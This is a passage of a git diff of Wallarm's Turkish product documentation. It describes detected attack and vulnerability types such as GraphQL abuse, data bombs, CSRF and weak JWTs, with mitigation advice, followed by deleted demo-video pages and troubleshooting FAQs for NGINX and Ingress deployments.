bu esneklik, potansiyel olarak sunucuyu bunaltabilecek derin iç içe sorgular oluşturmak için kötüye kullanılabilir. - -### GraphQL takma adları - -**Wallarm kodu:** `gql_aliases`: izin verilen maksimum takma ad sayısı ihlali - -**Açıklama:** - -GraphQL’de takma adlar, sonuç alanlarını yeniden adlandırarak çakışmaları önleme ve daha iyi veri organizasyonu sağlama olanağı sunar; ancak, bir saldırgan bu özelliği Kaynak Tüketimi veya Hizmet Reddi (DoS) saldırısı başlatmak için kötüye kullanabilir. - -### GraphQL batching - -**Wallarm kodu:** `gql_docs_per_batch`: izin verilen maksimum toplu sorgu sayısı ihlali - -**Açıklama:** - -GraphQL’de, bir tek HTTP isteğinde birden fazla sorgu (operasyon) toplu işlenebilir; birden fazla işlemi tek bir istekte birleştirerek, bir saldırgan hız sınırlama gibi güvenlik önlemlerini atlatmaya çalışarak batching saldırısı düzenleyebilir. - -### GraphQL introspection - -**Wallarm kodu:** `gql_introspection`: yasak introspection sorgusu - -**Açıklama:** - -Bir saldırgan, GraphQL introspection sisteminden yararlanarak GraphQL API’sinin şeması hakkında ayrıntılar ortaya çıkarabilir; sistemi sorgulayarak, API’de mevcut tüm türler, sorgular, mutasyonlar ve alanlar hakkında bilgi edinme ve bu verileri daha kesin ve zarar verici sorgular oluşturmak için kullanma potansiyeline sahiptir. - -### GraphQL debug - -**Wallarm kodu:** `gql_debug`: yasak debug modu sorgusu - -**Açıklama:** - -GraphQL’de, debug modu geliştiriciler tarafından açık bırakıldığında, bir saldırgan tüm yığın izleri veya geri izlemeler gibi aşırı hata raporlama mesajlarından değerli bilgiler toplayabilir. Bir saldırgan, URI’de “debug=1“ parametresiyle debug moduna erişebilir. - -## API spesifikasyonu - -**Saldırı** - -**Wallarm kodu:** `api_specification`, tüm spesifikasyon tabanlı ihlalleri gösterir. Özel ihlaller alt bölümlerde açıklanmıştır. - -**Açıklama:** - -[API Specification Enforcement](api-specification-enforcement/overview.md), yüklediğiniz spesifikasyonlara dayanarak API’lerinize güvenlik politikaları uygulamak için tasarlanmıştır. Birincil işlevi, spesifikasyonunuzdaki uç nokta açıklamaları ile REST API’lerinize yapılan gerçek istekler arasındaki tutarsızlıkları tespit etmektir. Bu tür tutarsızlıklar tespit edildiğinde, sistem bunları ele almak için önceden tanımlanmış eylemler gerçekleştirebilir. - -API Specification Enforcement’ın, istekleri spesifikasyonlarla karşılaştırırken uygulanan sınırlara sahip olduğunu unutmayın - bu limitler aşıldığında, isteği işlemeyi durdurur ve bu konuda bilgi veren olayı oluşturur: bkz. [işleme limiti aşımı](#processing-overlimit). - -### Tanımsız uç nokta - -**Wallarm kodu:** `undefined_endpoint` - -**Açıklama:** - -Spesifikasyonunuzda yer almayan uç noktanın istenmesine yönelik bir girişim. - -### Tanımsız parametre - -**Wallarm kodu:** `undefined_parameter` - -**Açıklama:** - -Spesifikasyonunuzda bu uç nokta için yer almayan parametreleri içerdiği için saldırı olarak işaretlenen istekler. - -### Geçersiz parametre - -**Wallarm kodu:** `invalid_parameter_value` - -**Açıklama:** - -Parametrelerden bazılarının değerinin, spesifikasyonunuzda tanımlanan tür/format ile uyumlu olmaması nedeniyle saldırı olarak işaretlenen istekler. - -### Eksik parametre - -**Wallarm kodu:** `missing_parameter` - -**Açıklama:** - -Spesifikasyonunuzda gerekli olarak işaretlenen parametreyi veya değerini içermediği için saldırı olarak işaretlenen istekler. - -### Eksik kimlik doğrulama - -**Wallarm kodu:** `missing_auth` - -**Açıklama:** - -Gerekli kimlik doğrulama yöntemi hakkında bilgi içermediği için saldırı olarak işaretlenen istekler. - -### Geçersiz istek - -**Wallarm kodu:** `invalid_request` - -**Açıklama:** - -Geçersiz JSON içerdiği için saldırı olarak işaretlenen istekler. - -## Veri işleme - -### Veri bombası - -**Saldırı** - -**CWE kodu:** [CWE-409][cwe-409], [CWE-776][cwe-776] - -**Wallarm kodu:** `data_bomb` - -**Açıklama:** - -Bir istek, Zip veya XML bombası içeriyorsa Wallarm isteği Veri bombası saldırısı olarak işaretler: - -* [Zip bombası](https://en.wikipedia.org/wiki/Zip_bomb), onu okuyan programı veya sistemi çökertmek veya kullanışsız hale getirmek için tasarlanmış kötü amaçlı bir arşiv dosyasıdır. Zip bombası, programın amacı doğrultusunda çalışmasına izin verir, ancak arşiv, açılmasının orantısız miktarda zaman, disk alanı ve/veya bellek gerektirecek şekilde hazırlanmıştır. -* [XML bombası (billion laughs attack)](https://en.wikipedia.org/wiki/Billion_laughs_attack), XML belgelerinin ayrıştırıcılarını hedef alan bir DoS saldırı türüdür. Bir saldırgan, XML varlıklarında kötü amaçlı payload’lar gönderir. - - Örneğin, `entityOne` 20 adet `entityTwo` olarak tanımlanabilir; bunlar da 20 adet `entityThree` olarak tanımlanabilir. Aynı kalıp `entityEight`e kadar devam ederse, XML ayrıştırıcı tek bir `entityOne` oluşumunu 1 280 000 000 `entityEight`e açar — 5 GB bellek kullanır. - -**Wallarm korumasına ek olarak:** - -* Gelen isteklerin boyutunu, sisteminize zarar veremeyecek şekilde sınırlayın. - -### Geçersiz XML - -**Saldırı** - -**Wallarm kodu:** `invalid_xml` - -**Açıklama:** - -Bir isteğin gövdesi bir XML belgesi içeriyor ve belgenin kodlaması XML başlığında belirtilen kodlamadan farklıysa istek `invalid_xml` olarak işaretlenir. - -### İşleme limiti aşımı - -**Saldırı** - -**Wallarm kodu:** `processing_overlimit` - -**Açıklama:** - -İstekleri işlerken [API Specification Enforcement](#api-specification) için uygulanan limitlerin ihlali durumunda, **Specification processing overlimit** olayı saldırı listesine eklenir. - -### Kaynak limiti aşımı - -**Saldırı** - -**Wallarm kodu:** `overlimit_res` - -**Açıklama:** - -Wallarm düğümü, gelen isteklerin işlenmesine `N` milisaniyeden fazla zaman harcamayacak şekilde yapılandırılmıştır (varsayılan değer: `1000`). İstek belirtilen zaman aralığında işlenmezse, isteğin işlenmesi durdurulur ve istek `overlimit_res` saldırısı olarak işaretlenir. - -Sınır aşıldığında düğümün varsayılan davranışını değiştirmek ve özel zaman sınırı belirlemek için [**Limit request processing time**](user-guides/rules/configure-overlimit-res-detection.md) kuralını kullanabilirsiniz. - -İstek işleme süresini sınırlamak, Wallarm düğümlerini hedefleyen atlatma saldırılarını önler. Bazı durumlarda, `overlimit_res` olarak işaretlenen istekler, Wallarm düğüm modülleri için ayrılan kaynakların yetersiz olduğuna ve uzun istek işleme sürelerine işaret edebilir. - -## Engellenen kaynak - -**Saldırı** - -**Wallarm kodu:** `blocked_source` - -**Açıklama:** - -**Manuel** olarak [denylist’e alınmış](user-guides/ip-lists/overview.md) IP’lerden gelen saldırılar. - -## Sanal yama - -**Saldırı** - -**Wallarm kodu:** `vpatch` - -**Açıklama:** - -Bir istek, [sanal yama mekanizması][doc-vpatch] tarafından azaltılmış bir saldırının parçasıysa `vpatch` olarak işaretlenir. - -**Gerekli yapılandırma:** - -Sanal yama, mevcut [filtration mode](admin-en/configure-wallarm-mode.md)’dan bağımsız olarak belirli bir uç noktaya yönelik belirli veya tüm isteklerin engellenmesidir. Sanal yamalar, [manuel olarak][doc-vpatch] oluşturduğunuz özel kurallardır. - -**Wallarm korumasına ek olarak:** - -* Yamayla azaltılan güvenlik açığını analiz edin ve yamaya artık ihtiyaç duyulmayacak şekilde giderin. - - - -## Diğer - -### Kimlik doğrulamayı atlatma - -**Güvenlik açığı** - -**CWE kodu:** [CWE-288][cwe-288] - -**Wallarm kodu:** `auth` - -**Açıklama:** - -Bir uygulama veya API, kimlik doğrulama mekanizmalarına sahip olmasına rağmen, ana kimlik doğrulama mekanizmasını atlamaya veya bu mekanizmanın zayıflıklarından yararlanmaya izin veren alternatif kimlik doğrulama yöntemlerine sahip olabilir. Bu faktörlerin birleşimi, bir saldırganın kullanıcı veya yönetici izinleriyle erişim elde etmesiyle sonuçlanabilir. - -Başarılı bir kimlik doğrulamayı atlatma saldırısı, potansiyel olarak kullanıcıların gizli bilgilerinin ifşa edilmesine veya yönetici izinleriyle savunmasız API’nin kontrolünün ele geçirilmesine yol açar. - -**Wallarm korumasına ek olarak:** - -* Mevcut kimlik doğrulama mekanizmalarını geliştirin ve güçlendirin. -* Önceden tanımlı mekanizmalar aracılığıyla gerekli kimlik doğrulama prosedürünü atlayarak bir API’ye erişime izin verebilecek alternatif kimlik doğrulama yöntemlerini ortadan kaldırın. -* [OWASP Authentication Kılavuzu][link-owasp-auth-cheatsheet] önerilerini uygulayın. - -### Kimlik bilgisi doldurma - -**Saldırı** - -**Wallarm kodu:** `credential_stuffing` - -**Açıklama:** - -Saldırganların, birden fazla kaynaktaki kullanıcı hesaplarına yetkisiz erişim elde etmek için ele geçirilmiş kullanıcı kimlik bilgileri listelerini kullandıkları bir siber saldırı. Bu saldırı tehlikelidir çünkü birçok kişi farklı hizmetlerde aynı kullanıcı adı ve parolayı yeniden kullanır veya popüler zayıf parolalar kullanır. Başarılı bir kimlik bilgisi doldurma saldırısı daha az deneme gerektirir; bu nedenle saldırganlar istekleri çok daha seyrek gönderebilir, bu da kaba kuvvet koruması gibi standart önlemleri etkisiz hale getirir. - -**Gerekli yapılandırma:** - -Wallarm, yalnızca filtreleme düğümü sürümü 4.10 veya üzeri ise ve [Credential Stuffing Detection](about-wallarm/credential-stuffing.md) işlevi etkinleştirilmiş ve düzgün yapılandırılmışsa kimlik bilgisi doldurma girişimlerini tespit eder. - -**Wallarm korumasına ek olarak:** - -* [OWASP kimlik bilgisi doldurma açıklamasıyla](https://owasp.org/www-community/attacks/Credential_stuffing), “Credential Stuffing Prevention Cheat Sheet” dahil tanışın. -* Kullanıcıları güçlü parolalar kullanmaya zorlayın. -* Kullanıcılara farklı kaynaklar için aynı parolaları kullanmamalarını önerin. -* İki faktörlü kimlik doğrulamayı etkinleştirin. -* Ek CAPTCHA çözümleri kullanın. - -### Siteler arası istek sahteciliği (CSRF) - -**Güvenlik açığı** - -**CWE kodu:** [CWE-352][cwe-352] - -**Wallarm kodu:** `csrf` - -**Açıklama:** - -Siteler arası istek sahteciliği (CSRF), son kullanıcının, halihazırda kimlik doğrulaması yapılmış olduğu bir uygulamada istenmeyen eylemler gerçekleştirmeye zorlandığı bir saldırıdır. Biraz sosyal mühendislik yardımıyla (e-posta veya sohbet yoluyla bağlantı gönderme gibi), bir saldırgan, bir uygulamanın kullanıcılarını saldırganın seçtiği eylemleri gerçekleştirmeleri için kandırabilir. - -İlgili güvenlik açığı, kullanıcının tarayıcısının, çapraz site isteği gerçekleştirilirken hedef alan adı için ayarlanmış kullanıcı oturum çerezlerini otomatik olarak eklemesi nedeniyle ortaya çıkar. - -Çoğu site için bu çerezler, siteyle ilişkili kimlik bilgilerini içerir. Bu nedenle, kullanıcı şu anda siteye kimlik doğrulaması yapmışsa, site mağdur tarafından gönderilen sahte istek ile mağdur tarafından gönderilen meşru istek arasında ayrım yapmanın bir yoluna sahip olmayacaktır. - -Sonuç olarak, saldırgan, kötü amaçlı bir web sitesinden, meşru bir kullanıcı gibi davranarak, savunmasız web uygulamasına bir istek gönderebilir; saldırganın, o kullanıcının çerezlerine erişmesi bile gerekmez. - -Wallarm yalnızca CSRF güvenlik açıklarını keşfeder, ancak CSRF saldırılarını tespit etmez ve dolayısıyla engellemez. CSRF sorunu tüm modern tarayıcılarda içerik güvenliği politikaları (CSP) ile çözülmüştür. - -**Koruma:** - -CSRF tarayıcılar tarafından çözülür, diğer koruma yöntemleri daha az faydalıdır ancak yine de kullanılabilir: - -* CSRF jetonları ve diğerleri gibi anti-CSRF koruma mekanizmalarını kullanın. -* `SameSite` çerez özniteliğini ayarlayın. -* [OWASP CSRF Önleme Kılavuzu][link-owasp-csrf-cheatsheet] önerilerini uygulayın. - -### Dosya yükleme ihlali - -**Saldırı** - -**Wallarm kodu:** `file_upload_violation` - -**Açıklama:** - -[Unrestricted resource consumption](https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa4-unrestricted-resource-consumption.md), [OWASP API Top 10 2023](user-guides/dashboards/owasp-api-top-ten.md#wallarm-security-controls-for-owasp-api-2023) en ciddi API güvenlik riskleri listesine dahil edilmiştir. Kendi başına bir tehdit olmakla birlikte (aşırı yük nedeniyle hizmetin yavaşlaması veya tamamen çökmesi), bu aynı zamanda örneğin numaralandırma saldırıları gibi farklı saldırı türlerinin temelini oluşturur. Çok büyük dosya yüklemeye izin verilmesi, bu risklerin nedenlerinden biridir. - -**Gerekli yapılandırma:** - -Wallarm, yalnızca abonelik planınızda mevcut yöntemle yapılandırılmış bir veya daha fazla [policy](api-protection/file-upload-restriction.md) varsa dosya yükleme kısıtlamaları uygular. - -Dosya boyutu yükleme kısıtlamalarının, Wallarm tarafından sunulan [sınırsız kaynak tüketimini önlemeye yönelik tek önlem](api-protection/file-upload-restriction.md#comparison-to-other-measures-for-preventing-unrestricted-resource-consumption) olmadığını unutmayın. - -**Wallarm korumasına ek olarak:** - -* İstemci tarafı JavaScript ile dosya boyutu doğrulaması kurun -* Büyük dosyaları reddedecek şekilde web sunucusunu (Nginx veya Apache gibi) yapılandırın -* Uygulamanızın kodu içerisinde dosya boyutu kontrolü kurun - -### Bilgi ifşası - -**Güvenlik açığı/Saldırı** - -**CWE kodları:** [CWE-200][cwe-200] (ayrıca bkz.: [CWE-209][cwe-209], [CWE-215][cwe-215], [CWE-538][cwe-538], [CWE-541][cwe-541], [CWE-548][cwe-548], [CWE-598][cwe-598]) - -**Wallarm kodu:** `infoleak` - -**Açıklama:** - -Bu güvenlik açığı, bir uygulamanın hassas bilgileri yetkisiz olarak ifşa etmesini içerir ve potansiyel olarak saldırganlara daha fazla kötü niyetli faaliyet için hassas veriler sağlar. - -Bazı hassas bilgi türleri: - -* E-postalar, finansal veriler, iletişim bilgileri vb. gibi özel, kişisel bilgiler -* Hata mesajlarında, yığın izinde açığa çıkan teknik bilgiler -* İşletim sistemi ve yüklü paketler gibi sistem durumu ve ortam -* Kaynak kodu veya dahili durum - -Wallarm, bilgi ifşasını iki şekilde tespit eder: - -* Sunucu yanıtı analizi: Wallarm, sunucu yanıtlarını analiz etmek için pasif tespit, güvenlik açığı taraması ve tehdit yeniden oynatma testi gibi [teknikleri](about-wallarm/detecting-vulnerabilities.md#vulnerability-detection-methods) kullanır. Bu yöntemler, uygulama yanıtlarının yanlışlıkla hassas bilgileri ifşa edip etmediğini kontrol ederek güvenlik açıklarını belirlemeyi amaçlar. -* API Discovery içgörüleri: [API Discovery](api-discovery/overview.md) modülü tarafından tanımlanan uç noktalar, GET isteklerinin sorgu parametrelerinde Kişisel Olarak Tanımlanabilir Bilgileri (PII) aktardığında, Wallarm bunları savunmasız olarak tanır. - -Wallarm, `infoleak` saldırılarını özel olarak sınıflandırmaz ancak ilgili güvenlik olaylarını gerçekleştiğinde tespit eder ve kaydeder. Ancak, olaylar nadirdir. Wallarm’ın tespit mekanizmaları, böyle bir ifşa başlarsa sizi derhal uyarır ve güvenlik açığının hızlı bir şekilde giderilmesini sağlar. Ek olarak, Wallarm’ın filtreleme düğümünü [blocking mode](admin-en/configure-wallarm-mode.md#available-filtration-modes)’da kullanmak, herhangi bir saldırı girişimini engelleyerek ifşaları önlemeye yardımcı olur ve veri sızıntısı olasılığını önemli ölçüde azaltır. - -**Wallarm korumasına ek olarak:** - -* Web uygulamalarının herhangi bir hassas bilgiyi görüntüleme yeteneğine sahip olmasını yasaklayın. -* Tercihen, kayıt ve oturum açma formları gibi hassas verileri iletmek için GET yerine POST HTTP yöntemini kullanın. - -### Güvenlik açığı bulunan bileşen - -**Güvenlik açığı** - -**CWE kodları:** [CWE-937][cwe-937], [CWE-1035][cwe-1035], [CWE-1104][cwe-1104] - -**Wallarm kodu:** `vuln_component` - -**Açıklama:** - -Uygulamanız veya API’niz güvenlik açığı bulunan veya güncel olmayan bir bileşen kullanıyorsa bu güvenlik açığı meydana gelir. Buna bir işletim sistemi, web/uygulama sunucusu, veritabanı yönetim sistemi (DBMS), çalışma zamanı ortamları, kütüphaneler ve diğer bileşenler dahil olabilir. - -Bu güvenlik açığı, [A06:2021 – Vulnerable and Outdated Components](https://owasp.org/Top10/A06_2021-Vulnerable_and_Outdated_Components) ile eşleştirilmiştir. - -**Wallarm korumasına ek olarak:** - -* Kullanılmayan bağımlılıkları, gereksiz özellikleri, bileşenleri, dosyaları ve dokümantasyonu kaldırın. -* OWASP Dependency Check, retire.js vb. gibi araçları kullanarak hem istemci hem de sunucu tarafı bileşenlerin (ör. framework’ler, kütüphaneler) ve bunların bağımlılıklarının sürümlerini sürekli olarak envanterleyin. -* Bileşenlerdeki güvenlik açıkları için Common Vulnerability and Exposures (CVE) ve National Vulnerability Database (NVD) gibi kaynakları sürekli izleyin. -* Bileşenleri yalnızca resmi kaynaklardan güvenli bağlantılar üzerinden edinin. Değiştirilmiş, kötü amaçlı bir bileşen dahil etme şansını azaltmak için imzalı paketleri tercih edin. -* Bakımı yapılmayan veya eski sürümler için güvenlik yamaları oluşturulmayan kütüphaneleri ve bileşenleri izleyin. Yama mümkün değilse, keşfedilen sorunu izlemek, tespit etmek veya ondan korumak için sanal yama dağıtmayı düşünün. - -### Zayıf JWT - -**Güvenlik açığı** - -**CWE kodu:** [CWE-1270][cwe-1270], [CWE-1294][cwe-1294] - -**Wallarm kodu:** `weak_auth` - -**Açıklama:** - -[JSON Web Token (JWT)](https://jwt.io/), API’ler gibi kaynaklar arasında verileri güvenli bir şekilde değiş tokuş etmek için kullanılan popüler bir kimlik doğrulama standardıdır. - -JWT’nin ele geçirilmesi, kimlik doğrulama mekanizmalarının kırılması saldırganlara uygulamalarınıza ve API’lerinize tam erişim sağladığından, yaygın bir saldırı amacıdır. JWT ne kadar zayıfsa, ele geçirilme olasılığı o kadar yüksektir. - -Wallarm, JWT’leri zayıf olarak kabul eder, eğer: - -* Şifrelenmemişse - imzalama algoritması yoksa (`alg` alanı `none` veya yok). -* Ele geçirilmiş gizli anahtarlarla imzalanmışsa. - -Zayıf bir JWT tespit edildiğinde Wallarm, karşılık gelen [güvenlik açığını](user-guides/vulnerabilities.md) kaydeder. - -**Wallarm korumasına ek olarak:** - -* [OWASP JSON Web Token Kılavuzu](https://cheatsheetseries.owasp.org/cheatsheets/JSON_Web_Token_for_Java_Cheat_Sheet.html) önerilerini uygulayın -* [JWT uygulamanızın bilinen zayıf sırlara karşı savunmasız olup olmadığını kontrol edin](https://lab.wallarm.com/340-weak-jwt-secrets-you-should-check-in-your-code/) \ No newline at end of file diff --git a/docs/latest-tr/business-logic-abuse-detection.md b/docs/latest-tr/business-logic-abuse-detection.md deleted file mode 100644 index 06d98b40c5..0000000000 --- a/docs/latest-tr/business-logic-abuse-detection.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/api-protection/business-logic-abuse-detection.md" \ No newline at end of file diff --git a/docs/latest-tr/demo-videos/api-abuse-prevention.md b/docs/latest-tr/demo-videos/api-abuse-prevention.md deleted file mode 100644 index 6df78e9ea6..0000000000 --- a/docs/latest-tr/demo-videos/api-abuse-prevention.md +++ /dev/null @@ -1,12 +0,0 @@ -# API Abuse Prevention genel bakış - -Wallarm platformunun [**API Abuse Prevention**](../api-abuse-prevention/overview.md) modülünün uygulamalarınızı hangi çeşitli bot türlerine karşı koruyabildiğini görmek ve botların API kötüye kullanımını önleme potansiyelini kavramak için demo videomuzu izleyin. - -
              - -
              - -**İlgili dokümantasyon makaleleri** - -* [API Abuse Prevention genel bakış](../api-abuse-prevention/overview.md) -* [API Abuse Prevention kullanıcı kılavuzu](../api-abuse-prevention/setup.md) \ No newline at end of file diff --git a/docs/latest-tr/demo-videos/api-discovery.md b/docs/latest-tr/demo-videos/api-discovery.md deleted file mode 100644 index c0ca19eff3..0000000000 --- a/docs/latest-tr/demo-videos/api-discovery.md +++ /dev/null @@ -1,12 +0,0 @@ -# API Discovery Demo Videosu - -Wallarm platformunun [**API Discovery**](../api-discovery/overview.md) modülünün tüm potansiyelini keşfetmek için tanıtım videomuzu izleyin. Gerçek API kullanımına dayanarak oluşturduğu API envanterine aşina olun ve sunulan bilgileri nasıl etkin şekilde kullanacağınızı öğrenin. - -
              - -
              - -**İlgili dokümantasyon makaleleri** - -* [API Discovery genel bakış](../api-discovery/overview.md) -* [API Discovery - oluşturulan API envanterini keşfetme](../api-discovery/exploring.md) \ No newline at end of file diff --git a/docs/latest-tr/demo-videos/api-leaks.md b/docs/latest-tr/demo-videos/api-leaks.md deleted file mode 100644 index eeb62a3bf0..0000000000 --- a/docs/latest-tr/demo-videos/api-leaks.md +++ /dev/null @@ -1,11 +0,0 @@ -# API Leaks'e Genel Bakış - -Wallarm platformunun [**API Leaks**](../api-attack-surface/security-issues.md) modülünün keşfettiği çeşitli API sızıntı türlerine aşina olmak ve tespit edilen sızıntıların nasıl giderilebileceğini anlamak için demo videomuzu izleyin. - -
              - -
              - -**İlgili dokümantasyon makaleleri** - -* [AASM - Güvenlik Sorunlarının Tespiti](../api-attack-surface/security-issues.md) \ No newline at end of file diff --git a/docs/latest-tr/demo-videos/events-inspection.md b/docs/latest-tr/demo-videos/events-inspection.md deleted file mode 100644 index 37b6240b6e..0000000000 --- a/docs/latest-tr/demo-videos/events-inspection.md +++ /dev/null @@ -1,51 +0,0 @@ -# CVE'ler ve ilgili saldırıların analizi - -Wallarm platformunun [**CVEs**](../user-guides/dashboards/threat-prevention.md) panosunu tanımak ve bu panoyu [**Attacks**](../user-guides/events/check-attack.md) bölümüyle birlikte belirli CVE ile ilişkili olayları analiz etmek için nasıl kullanacağınızı öğrenmek üzere demo videomuzu izleyin. - - - -
              - -
              - -**İlgili dokümantasyon makaleleri** - -* [Threat Prevention dashboard](../user-guides/dashboards/threat-prevention.md) CVE bilgilerini sunan \ No newline at end of file diff --git a/docs/latest-tr/demo-videos/overview.md b/docs/latest-tr/demo-videos/overview.md deleted file mode 100644 index 2a0d47cf89..0000000000 --- a/docs/latest-tr/demo-videos/overview.md +++ /dev/null @@ -1,28 +0,0 @@ -# Wallarm platform ayarları - - - -Wallarm Console'da sunulan genel Wallarm ayarlarını keşfetmek için demo videomuzu izleyin; [kullanıcı yönetimi](../user-guides/settings/users.md), düğüm [filtration mode](../admin-en/configure-wallarm-mode.md#general-filtration-mode) yapılandırması, [abonelik planı](../about-wallarm/subscription-plans.md) yönetimi, [uygulama yapılandırması](../user-guides/settings/applications.md) ve [etkinlik günlüğü](../user-guides/settings/audit-log.md). - -
              - -
              \ No newline at end of file diff --git a/docs/latest-tr/demo-videos/shadow-api.md b/docs/latest-tr/demo-videos/shadow-api.md deleted file mode 100644 index 0dceba8290..0000000000 --- a/docs/latest-tr/demo-videos/shadow-api.md +++ /dev/null @@ -1,11 +0,0 @@ -# Gölge ve Yetim API Tespiti - -Wallarm kullanarak API’nizde [gölge ve yetim uç noktaları](../api-discovery/rogue-api.md) nasıl tespit edebileceğinizi öğrenmek için demo videomuzu izleyin. - -
              - -
              - -**İlgili dokümantasyon makaleleri** - -* **API Discovery** modülü ile [Rogue API tespiti](../api-discovery/rogue-api.md) \ No newline at end of file diff --git a/docs/latest-tr/faq/common-errors-after-installation.md b/docs/latest-tr/faq/common-errors-after-installation.md deleted file mode 100644 index 70fac5bee0..0000000000 --- a/docs/latest-tr/faq/common-errors-after-installation.md +++ /dev/null @@ -1,24 +0,0 @@ -# Son Kullanıcı Sorun Giderme - -NGINX Wallarm düğümü kurulumu sonrasında bazı hatalar oluşursa, bunları gidermek için bu sorun giderme kılavuzunu kontrol edin. Burada ilgili ayrıntıları bulamazsanız, lütfen [Wallarm teknik destek](mailto:support@wallarm.com) ile iletişime geçin. - -## Kullanıcı dosya indiremiyor - -Filtre düğümü kurduktan sonra dosya indirme senaryolarınız başarısız oluyorsa, sorun, istek boyutunun Wallarm yapılandırma dosyasındaki `client_max_body_size` yönergesinde belirlenen sınırı aşmasıdır. - -Dosya yüklemelerini kabul eden adres için `location` yönergesinde `client_max_body_size` değerini değiştirin. Yalnızca ilgili `location` içindeki değeri değiştirmek, ana sayfanın büyük istekler almasını önler. - -`client_max_body_size` değerini değiştirin: - -1. Düzenlemek üzere `/etc/nginx/sites-enabled/default` dosyasını açın (Docker konteyneri çalıştırıyorsanız `/etc/nginx/http.d/default.conf`). -2. Yeni değeri girin: - - ``` - location /file/upload { - client_max_body_size 16m; - } - ``` - - `/file/upload`, dosya yüklemelerini kabul eden adrestir. - -Yönergenin ayrıntılı açıklaması [resmi NGINX dokümantasyonunda](https://nginx.org/en/docs/http/ngx_http_core_module.html#client_max_body_size) mevcuttur. \ No newline at end of file diff --git a/docs/latest-tr/faq/ingress-installation.md b/docs/latest-tr/faq/ingress-installation.md deleted file mode 100644 index ab08b27c6e..0000000000 --- a/docs/latest-tr/faq/ingress-installation.md +++ /dev/null @@ -1,24 +0,0 @@ -# Wallarm Ingress Controller Sorun Giderme - -Bu sorun giderme kılavuzu, [Wallarm NGINX tabanlı Ingress denetleyicisinin kurulumu](../admin-en/installation-kubernetes-en.md) sırasında karşılaşabileceğiniz yaygın sorunları listeler. Burada ilgili ayrıntıları bulamazsanız, lütfen [Wallarm teknik desteği](mailto:support@wallarm.com) ile iletişime geçin. - -## Ingress denetleyicisi tarafından hangi istemci IP adreslerinin tespit edildiğini/kullanıldığını nasıl kontrol ederim? - -* Denetleyici kapsayıcısının günlüğüne bakın ve işlenen isteklere ait kayıtları bulun. Varsayılan günlükleme biçiminde, raporlanan ilk alan tespit edilen istemci IP adresidir. Aşağıdaki örnekte tespit edilen IP adresi `25.229.38.234`'tür: -``` -[wallarm-ingress-nginx-ingress-controller-775cf75564-6jlt9 nginx-ingress-controller] 25.229.38.234 - - [14/Mar/2020:23:55:11 +0000] "GET /ping HTTP/1.1" 200 893 "-" "curl/7.64.1" 172 0.020 [default-sise-80] [] 172.17.0.5:8080 893 0.020 200 d8402076753798d3b065269c16d4b34f -``` - -* [US cloud](https://us1.my.wallarm.com) veya [EU cloud](https://my.wallarm.com) için Wallarm Console'a gidin → Attacks bölümüne geçin ve istek ayrıntılarını genişletin. IP adresi Source alanında görüntülenir. Örneğin: - - ![İsteğin gönderildiği IP adresi](../images/request-ip-address.png) - - Attacks listesinin boş olması durumunda, Wallarm Ingress denetleyicisi tarafından korunan uygulamaya bir [test saldırısı](../admin-en/uat-checklist-en.md#node-registers-attacks) gönderebilirsiniz. - -## Ingress denetleyicisinin X-FORWARDED-FOR istek başlığını aldığını nasıl kontrol ederim? - -Lütfen [US cloud](https://us1.my.wallarm.com) veya [EU cloud](https://my.wallarm.com) için Wallarm Console'a gidin → Attacks bölümüne geçin ve istek ayrıntılarını genişletin. Görüntülenen istek ayrıntılarında `X-FORWARDED-FOR` başlığına dikkat edin. Örneğin: - -![İsteğin X-FORWARDED-FOR başlığı](../images/x-forwarded-for-header.png) - -Attacks listesinin boş olması durumunda, Wallarm Ingress denetleyicisi tarafından korunan uygulamaya bir [test saldırısı](../admin-en/uat-checklist-en.md#node-registers-attacks) gönderebilirsiniz. \ No newline at end of file diff --git a/docs/latest-tr/faq/nginx-compatibility.md b/docs/latest-tr/faq/nginx-compatibility.md deleted file mode 100644 index a8ee5245e9..0000000000 --- a/docs/latest-tr/faq/nginx-compatibility.md +++ /dev/null @@ -1,29 +0,0 @@ -# Wallarm filtreleme düğümünün NGINX sürümleriyle uyumluluğu - -Ortamınıza kurulu NGINX sürümü stable, Plus veya Debian/CentOS deposundan kurulan sürümden farklıysa, Wallarm’ı nasıl kuracağınızı bu belgeden öğrenin. - -## Wallarm filtreleme düğümü NGINX mainline ile uyumlu mu? - -Hayır, Wallarm filtreleme düğümü NGINX `mainline` ile uyumsuzdur. Wallarm düğümünü şu şekillerde kurabilirsiniz: - -* resmi açık kaynak NGINX `stable` ile bağlayın, bu [talimatları](../installation/nginx/dynamic-module.md) izleyin -* Debian/CentOS depolarından kurulan NGINX ile bağlayın, bu [talimatları](../installation/nginx/dynamic-module-from-distr.md) izleyin -* resmi ticari NGINX Plus ile bağlayın, bu [talimatları](../installation/nginx-plus.md) izleyin - -## Wallarm filtreleme düğümü NGINX’in özel derlemesiyle uyumlu mu? - -Evet, Wallarm modülü, Wallarm paketleri yeniden derlendikten sonra NGINX’in özel derlemesine bağlanabilir. Paketleri yeniden derlemek için lütfen [Wallarm teknik destek ekibi](mailto:support@wallarm.com) ile iletişime geçin ve aşağıdaki verileri gönderin: - -* Linux çekirdek sürümü: `uname -a` -* Linux dağıtımı: `cat /etc/*release` -* NGINX sürümü: - - * [NGINX resmi derlemesi](https://nginx.org/en/linux_packages.html): `/usr/sbin/nginx -V` - * NGINX özel derlemesi: `/nginx -V` - -* Uyumluluk imzası: - - * [NGINX resmi derlemesi](https://nginx.org/en/linux_packages.html): `egrep -ao '.,.,.,[01]{33}' /usr/sbin/nginx` - * NGINX özel derlemesi: `egrep -ao '.,.,.,[01]{33}' /nginx` - -* NGINX worker süreçlerini çalıştıran kullanıcı (ve kullanıcının grubu): `grep -w 'user' ` \ No newline at end of file diff --git a/docs/latest-tr/faq/node-issues-on-owasp-dashboards.md b/docs/latest-tr/faq/node-issues-on-owasp-dashboards.md deleted file mode 100644 index 795a96dfbb..0000000000 --- a/docs/latest-tr/faq/node-issues-on-owasp-dashboards.md +++ /dev/null @@ -1,76 +0,0 @@ -# OWASP Dashboard tarafından uyarılan Wallarm düğümü sorunlarının giderilmesi - -Wallarm düğümleri güncel değilse veya Cloud ile senkronizasyon sorunları yaşıyorsa, altyapı güvenliğini etkileyebilecek problemleri belirten hata mesajları [OWASP dashboard](../user-guides/dashboards/owasp-api-top-ten.md) üzerinde görünür. Bu makale bu sorunları nasıl ele alacağınızı açıklar. - -## Wallarm düğümü güncel değil - -Güncel olmayan düğümler önemli güvenlik güncellemelerinden yoksun olabilir ve kötü amaçlı trafiğin savunmaları atlatmasına 